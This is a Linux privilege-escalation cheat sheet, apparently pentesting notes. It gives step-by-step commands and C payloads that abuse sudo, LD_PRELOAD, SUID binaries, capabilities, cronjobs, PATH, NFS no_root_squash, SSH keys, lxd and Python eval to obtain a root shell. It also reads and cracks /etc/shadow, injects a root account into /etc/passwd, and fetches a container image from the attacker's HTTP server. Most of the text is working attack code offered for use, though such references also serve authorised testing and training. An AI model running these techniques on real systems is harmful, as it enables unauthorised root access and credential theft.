Linux Privilege Escalation

Here are some techniques for achieving privilege escalation on Linux systems:

Abusing Sudo execution permissions

  • Verify which commands can be run with sudo

$ sudo -l

#Example results
User user may run the following commands on the host:
    (ALL) NOPASSWD: /usr/bin/find

The find command is used as an example, can be any other command


  • Check Sudo abuse for the binary on GTFOBins and use it on the target machine to get privileges

sudo find . -exec /bin/sh \; -quit
#This will return a root shell

Abusing LD_PRELOAD

  • Verify the LD_PRELOAD option in env_keep

sudo -l

#Example results
Matching Defaults entries for user on ip-0-0-0-0:
    env_reset, env_keep+=LD_PRELOAD
  • Write a simple script in C

shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

  • Then compile into a shared library

gcc shell.c -fPIC -shared -o shell.so -nostartfiles

The extension .so represents a shared object


  • Run a sudo command specifying the LD_PRELOAD option with the script

sudo LD_PRELOAD=/home/user/ldpreload/shell.so $command
#This will prompt a root shell

$command is any command with sudo permissions found using sudo -l

Abusing SUID/SGID permissions on reading binaries

  • Verify executables with special permissions

find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/base64

base64 is used as an example, can be any other executable with data visualization properties such as nano,cat, vim, nvim, etc...


LFILE=file_to_read
base64 "$LFILE" | base64 --decode

  • Abuse privileges to read important files and copy its content locally

base64 /etc/shadow | base64 --decode #Display content of shadow    
base64 /etc/passwd | base64 --decode #Display content of passwd
touch shadow.txt #Create on the host machine and copy the content of shadow
touch passwd.txt #Create on the host machine and copy the content of passwd

  • Use John to make a crackable file and crack passwords

unshadow passwd.txt shadow.txt > crack.txt
john -w=/usr/share/wordlists/rockyou.txt crack.txt
#If possible to crack this will display the password of users

Abusing SUID/SGID permissions on writing binaries

  • Verify executables with special permissions

find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/nano

nano is used as an example, can be any other executable with the same reading properties such as vim, nvim, etc...


  • Abuse privileges to create users with privileges

openssl passwd -1 -salt AAA $password    #Create user hash
nano /etc/passwd
$username:$hash:0:0:root:/root:/bin/bash #Add this at the final of /etc/passwd
su $username                             #Switch to the new user

$username is an arbitrary name and the /root:/bin/bash specify we are requesting a root shell

Abusing capabilities on binaries

  • Verify executables with set capabilities

getcap -r / 2>/dev/null
#Example results
/home/karen/vim = cap_setuid+ep

vim is used as an example, can be any other executable


  • Check binary capabilities abuse on GTFOBins

./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'  #For python3

  • Go to the binary location and execute the payload

cd /home/karen/vim
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#This will give you a root shell

Abusing existing cronjobs

  • Verify executables set as cronjobs

cat /etc/crontab
#Example results
* * * * * root /home/user/file.sh

file.sh is an arbitrary name used as an example. Can be another bash file or executable.


  • Go to the file location and change the content to get a reverse shell

cd /home/user
nano file.sh    # The content will be replaced with a reverse shell script

To see the script of the reverse shell you can go here


  • Create a listening port with netcat to receive the shell

nc -nlvp $port
#You will receive a root shell

$port is the port specified in the reverse shell script

Abusing deleted cronjobs

  • Verify executables set as cronjobs

cat /etc/crontab
#Example results
PATH:/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
* * * * * root file.sh
  • file.sh is an arbitrary name used as an example. Can be another bash file or executable.

  • We have to keep in mind the path of the /etc/crontab file


  • Verify if the executable was deleted and create one with the same name

locate file.sh    #This will show nothing which means that was deleted
cd /home/user
nano file.sh    # The content will be a reverse shell script

Note that the folder we navigate to is the one that was listed in /etc/crontab


  • Create a listening port with netcat to receive the shell

nc -nlvp $port
#You will receive a root shell

$port is the port specified in the reverse shell script

Abusing PATH environment variable

  • Search for any writable folder and compare it to PATH

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
#Example results
etc/udev  home/user  run/dbus  snap/core  sys/fs  tmp  usr/lib  var/crash

echo $PATH
#Example results
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
  • We note there is a home folder where we can write

  • In case we haven't found anything, we have to write to /tmp


  • Add folder to PATH and go to this location

export PATH=/home/user:$PATH
echo $PATH   #To check it was added
cd /home/user

  • Write a simple script in C to search for an executable

path.c
#include <unistd.h>

void main() {
    setgid(0);
    setuid(0);
    system("root");
}

The system will search for an executable named root, which is an arbitrary name


  • Compile the script and give it SUID permissions

gcc path.c -o path -w
chmod u+s path
ls -l     #To check if it has a permission on user

  • Create a file to ask for a shell and give it permissions

echo "/bin/bash" > root #Asking for a shell
chmod 777 root
ls -l    #To check it has all permissions

Note that is the same executable we called previously on the C script


  • Run path script to get privileges

./path
#This will return a root shell

Abusing NFS misconfiguration

  • Check NFS configuration, and search for the no_root_squash value

cat /etc/exports
#Example results
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

  • On the host machine check for mountable shares

showmount -e $targetIP
#Example results
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

  • On the host machine, create a shared folder with the target

mkdir /tmp/Attack
sudo mount -o rw $targetIP:/home/ubuntu/sharedfolder /tmp/Attack

  • Write a simple script in C to ask for a shell

nfs.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
    return 0;
}

  • Compile the script and give it SUID Permissions

cd /tmp/Attack
nano nfs.c    #Create the script as above
sudo gcc nfs.c -o nfs -w
sudo chmod u+s nfs
ls -l     #To check if it has permissions on user

  • On the target machine run the script to get privileges

./nfs
#This will return a root shell

Abusing SSH keys

  • Check if we have reading permissions on the SSH private keys of a user

cat /home/$user/.ssh/$keyfile    #For a user
cat /root/.ssh/$keyfile          #For root user

Standard key files are called id_rsa


  • Copy the keys to a file, assign permissions to the file, and use it to log in using the key

nano $filename #Copy here the keys
chmod 600 $filename
ssh $username@$IP -i $filename

Use chmod 600 id_rsa to assign restrictive permissions and the SSH does not block this method


  • When having writing permissions on the /root/.ssh/ directory, we can generate an SSH key with the current user and pass it to the system

ssh-keygen -f $keyfile

This will generate the file with a private key for the user and a .pub file with a public key


  • Pass the public key to the authorized keys file of the root user

cat $keyfilename.pub >> /root/.ssh/authorized_keys

  • Use this to log in as root using the key

ssh root@$IP -i $keyfile 

Abusing lxd

  • Verify lxd is installed on the system

lxd --version

  • Check if the lxd group exits

groups

  • Add the current user to the lxd group (in case it isn't there yet)

usermod --append --groups lxd $user

  • On our machine, install the required lxd components

sudo apt install lxd
sudo apt install zfsutils-linux

  • Activate the lxd service and start it

sudo systemctl start lxd.service
sudo lxd init

  • Download an image or build it if necessary

wget https://github.com/saghul/lxd-alpine-builder/alpine-v3.13-x86_64-20210218_0139.tar.gz # Pre-built image

We use an image for Alpine, but any other light-weight distro can be built and used


  • Mount a server to import and download the image to the target host

# On our machine
python3 -m http.server $port

#On the target machine
wget http://$IP:$port/$filename.tar.gz

  • On the target, import the image and use it to create a container specifying high privileges and mounting the complete filesystem

lxc image import $imageroute --alias $imagename
lxc init $imagename $containername -c security.privileged=true
lxc config device add $containername host-root disk source=/ path /mnt recursive=true

  • Start the container, ask for a shell from it, and access the mount point of the filesystem

lxc start $containername
lxc exec pwned /bin/sh
cd /mount

The shell will be generated as the root user having complete permissions on the filesystem

Abusing the Python eval function

The eval function in Python is well-known for being vulnerable as it can act in a global scope. If there isn't proper sanitization of the input, this can be leveraged to execute arbitrary system commands.

  • We find a code that is run as the root user and uses the eval function improperly

__import__('os').system('/bin/bash') #Insert in the part where eval will act

  • If it can't be inserted directly we can add a validation that returns true and then the payload

1+1 == 2 and __import__('os').system('/bin/bash')

Last updated